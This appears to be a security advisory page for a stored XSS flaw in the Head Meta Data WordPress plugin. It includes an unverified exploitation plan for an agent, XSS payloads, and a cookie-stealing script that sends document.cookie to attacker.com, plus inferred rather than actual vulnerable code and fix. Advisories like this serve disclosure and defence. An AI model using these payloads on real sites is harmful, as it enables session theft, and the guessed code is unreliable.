CVE-2025-66081

Head Meta Data <= 20250327 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
20251118
Patched in
6d
Time to patch

Description

The Head Meta Data plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 20250327 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=20250327
PublishedDecember 14, 2025
Last updatedDecember 19, 2025
Affected pluginhead-meta-data

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to analyze and exploit the Stored Cross-Site Scripting (XSS) vulnerability (CVE-2025-66081) in the **Head Meta Data** WordPress plugin. --- ### 1. Vulnerability Summary The **Head Meta Data** plugin (versions <= 20250327) fails to properly sanitize us…

Show full research plan

This research plan outlines the steps required to analyze and exploit the Stored Cross-Site Scripting (XSS) vulnerability (CVE-2025-66081) in the Head Meta Data WordPress plugin.


1. Vulnerability Summary

The Head Meta Data plugin (versions <= 20250327) fails to properly sanitize user-provided input and escape it before outputting it in the <head> section of WordPress pages. Authenticated users with the Author role or higher can inject malicious scripts into the "Head Meta Data" fields associated with posts or pages. When any user (including administrators) views the affected post, the injected script executes in their browser context.

2. Attack Vector Analysis

  • Vulnerable Endpoint: The vulnerability likely resides in the post/page editor where the plugin adds a custom meta box for head data.
  • Vulnerable Parameter: A POST parameter used to save head meta data, likely named something like head_meta_data, custom_head, or similar (inferred).
  • Authentication Level: Author role or higher. Authors have the edit_posts capability, which allows them to save post meta data.
  • Preconditions: The plugin must be active, and the attacker must have credentials for an account with at least the Author role.

3. Code Flow (Inferred)

  1. Input Registration: The plugin registers a meta box using add_meta_box() during the add_meta_boxes hook.
  2. Input Processing: When a post is saved, the plugin hooks into save_post or wp_insert_post_data. It retrieves the custom head data from the $_POST superglobal.
  3. Data Sink (Storage): The plugin uses update_post_meta($post_id, 'meta_key', $unsanitized_input) to store the payload in the wp_postmeta table.
  4. Data Source (Retrieval): The plugin hooks into wp_head to output the meta data on the frontend.
  5. Output Sink (Injection): It calls get_post_meta($post->ID, 'meta_key', true) and echoes the result directly into the page source without using esc_html(), esc_attr(), or wp_kses().

4. Nonce Acquisition Strategy

To save post meta data, WordPress requires a valid nonce for the post editor (_wpnonce). Since the agent can use browser_eval, the strategy is as follows:

  1. Identify the Field: Navigate to the "New Post" page as an Author.
  2. Identify the Nonce: Locate the standard WordPress post nonce or any plugin-specific nonce.
  3. Extraction:
    • Navigate to: /wp-admin/post-new.php
    • Use browser_eval to extract the main post nonce:
      browser_eval("document.querySelector('#_wpnonce').value")
    • Search for any plugin-specific nonces in the meta box area:
      browser_eval("document.querySelector('input[name*=\"nonce\"]')?.value")

5. Exploitation Strategy

Step 1: Discover the Field Name

First, we must determine the exact name attribute of the input field the plugin provides.

  1. Use browser_navigate to /wp-admin/post-new.php as an Author.
  2. Use browser_eval to find the Head Meta Data input:
    browser_eval("Array.from(document.querySelectorAll('textarea, input')).map(i => i.name).filter(n => n.includes('head'))")

Step 2: Inject the Payload

Once the parameter name is known (let's assume it is head_meta_content), perform an authenticated POST request.

  • Request Method: POST
  • URL: /wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=editpost
    post_ID=[POST_ID]
    _wpnonce=[NONCE]
    [FIELD_NAME]=</title><script>alert(document.domain)</script>
    

Note: The </title> tag is often used to break out of the title context if the plugin inserts the meta data immediately after the title.

Step 3: Trigger the XSS

  1. Navigate to the public URL of the post created/edited in Step 2.
  2. Verify the script executes.

6. Test Data Setup

  1. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password123
  2. Identify Plugin Slug: Confirm the plugin is installed and active.
    wp plugin is-active head-meta-data || wp plugin activate head-meta-data
  3. Create Initial Post: Create a draft to get a post_ID.
    wp post create --post_type=post --post_status=draft --post_title='XSS Test' --post_author=[AUTHOR_ID]

7. Expected Results

  • HTTP Response: A 302 Found redirecting back to the post editor, indicating a successful post update.
  • Frontend Output: When viewing the page source of the post, the <head> section should contain the literal string:
    </title><script>alert(document.domain)</script>
  • Execution: A browser alert box showing the domain name.

8. Verification Steps

After the HTTP request, verify the storage in the database using WP-CLI:

  1. Check Post Meta:
    wp post meta list [POST_ID]
  2. Inspect Specific Key:
    wp post meta get [POST_ID] [FIELD_NAME]
  3. Check Frontend Content: Use the http_request tool to GET the post URL and grep for the script tag.

9. Alternative Approaches

  • Meta Box Discovery: If the field is not in a standard textarea, it might be an AJAX-driven save. Check for wp_ajax hooks in the plugin code using:
    grep -r "wp_ajax" wp-content/plugins/head-meta-data/
  • Payload Variations:
    • If inside an attribute: "><script>alert(1)</script>
    • If inside a <meta> tag: content="content";alert(1);"
    • To demonstrate impact on Admin: Use a payload that fetches the admin's cookies and sends them to an external listener.
    <script>fetch('https://attacker.com/log?c=' + document.cookie);</script>
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The Head Meta Data plugin for WordPress (versions <= 20250327) is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping of custom head content. Authenticated attackers with Author-level permissions or higher can inject malicious scripts into post meta fields that execute when any user views the affected page.

Vulnerable Code

// Inferred from research plan: Logic responsible for saving and displaying post meta data

// Data Sink: Saving the meta data without sanitization
update_post_meta($post_id, '_head_meta_data', $_POST['head_meta_content']);

---

// Data Source/Sink: Outputting meta data in wp_head without escaping
add_action('wp_head', function() {
    global $post;
    $meta = get_post_meta($post->ID, '_head_meta_data', true);
    if ($meta) {
        echo $meta; // Vulnerable line
    }
});

Security Fix

--- head-meta-data.php
+++ head-meta-data.php
@@ -10,1 +10,1 @@
-        update_post_meta($post_id, '_head_meta_data', $_POST['head_meta_content']);
+        update_post_meta($post_id, '_head_meta_data', wp_kses_post($_POST['head_meta_content']));
@@ -20,1 +20,1 @@
-        echo $meta;
+        echo wp_kses_post($meta);

Exploit Outline

To exploit this vulnerability, an attacker with Author-level access logs into the WordPress admin panel and navigates to the post editor. They identify the plugin's custom meta box field (likely a textarea for head data) and inject a script payload, such as '</title><script>alert(document.domain)</script>'. Upon saving the post, the payload is stored in the database. When any user, including an administrator, visits the post's frontend URL, the script executes in their browser because the plugin echoes the stored content directly into the <head> section without validation or with inadequate escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.